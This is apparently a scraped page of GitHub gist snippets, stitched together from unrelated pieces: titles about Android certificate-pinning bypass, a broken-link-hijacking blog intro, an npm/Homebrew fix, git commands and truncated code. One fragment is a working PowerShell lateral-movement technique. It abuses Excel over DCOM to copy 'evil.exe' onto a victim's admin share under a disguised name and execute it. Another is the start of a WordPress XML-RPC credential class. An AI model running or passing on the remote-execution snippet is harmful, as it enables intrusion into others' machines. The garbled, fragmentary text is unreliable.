Shaun justrandomdev

Android Bypass Certificate Pinning and MitM Attack Setup

This is a gist used in the following blog posts:

Broken Link Hijacking - How expired links can be exploited.

Broken Link Hijacking (BLH) exists whenever a target links to an expired domain or page. Broken Link Hijacking comes in two forms, reflected and stored. This issue has been exploited in the wild numerous times, but surprisingly few researchers actively look for broken links in bug bounty programs.

This post aims to give you a basic overview of the different issues that could possibly arise if a target links to an expired endpoint.

Stored Broken Link Hijacking

Fixing npm On Mac OS X for Homebrew Users

If you just want to fix the issue quickly, scroll down to the "solution" section below.

Explanation of the issue

If you're a Homebrew user and you installed node via Homebrew, there is a major philosophical issue with the way Homebrew and NPM work together. If you install node with Homebrew and then try to do npm update npm -g, you may see an error like this:

$ npm update npm -g

	git checkout master
	git pull
	git checkout -
	git rebase master

	$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "192.168.1.111"))
	# Windows 10 specific, but searches PATH so ..
	copy C:\payloads\evil.exe \\victimip\c$\Users\bob\AppData\Local\Microsoft\WindowsApps\FOXPROW.EXE
	$excel.ActivateMicrosoftApp("5")
	# excel executes your binary :)

	using System;
	using System.IO;
	using System.Net;
	using System.Xml.Linq;
	using System.Text.RegularExpressions;


	public class WpXmlRpc {
	private string userFilename = String.Empty;
	private string passFilename = String.Empty;

	filter timestamp {"$(Get-Date -Format u): $_"}
	while(1) { curl http://icanhazip.com \| select -ExpandProperty Content \| timestamp; sleep(60) }